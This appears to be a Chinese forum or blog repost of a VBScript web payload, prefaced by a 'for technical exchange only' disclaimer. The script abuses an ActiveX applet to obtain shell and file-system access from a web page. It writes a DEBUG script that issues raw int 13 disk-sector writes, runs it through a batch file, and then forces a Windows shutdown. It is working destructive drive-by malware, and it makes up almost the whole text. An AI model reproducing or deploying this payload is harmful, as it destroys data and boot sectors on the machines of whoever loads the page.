注册
登录
| 关键词： 吴晓东 nbsp 技术交流 sendtowxd 10096799 用途 仅仅 联系 作者 文章 |
作者：吴晓东 QQ:10096799 E-mail:[email protected] 如有不懂请与本人联系！本文章仅仅做技术交流，如用做其他用途，恕于本人无关 ：） -------------------------------------------------------------------- <script language=vbscript>document.write "<div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'><"&"APPLET NAME=bei"&"jing HEIGHT=0 WIDTH=0 code=com.ms."&"activeX.Active"&"XComponent></APPLET></div>" Set AppleObject = document.applets("beijing")AppleObject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")AppleObject.createInstance()Set WShell = AppleObject.GetObject() AppleObject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")AppleObject.createInstance()Set Fso = AppleObject.GetObject() AppleObject.setCLSID("{13709620-C279-11CE-A49E-444553540000}")AppleObject.createInstance()Set shell = AppleObject.GetObject() intxt="a$-$mov ax,0301$-$mov bx,0100$-$mov cx,0100$-$mov dx,0080$-$int 13$-$int 3$-$$-$g$-$$-$w 100 2 0 100$-$w 100 3 0 100$-$q$-$"intxt=replace(intxt,chr(36)&chr(45)&chr(36),vbcrlf)set fin=fso.OpenTextFile("in.txt",2,true)fin.write intxtfin.closeset bat=fso.OpenTextFile("com.bat",2,true)bat.write "@ECHO OFF"&vbcrlf&"path="&wph&"\command"&vbcrlf&"debug<in.txt>Nul"&vbcrlf&"exit"bat.closeWShell.Run("com.bat")WShell.Run("rundll32.exe user.exe,exitwindows") </script> |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
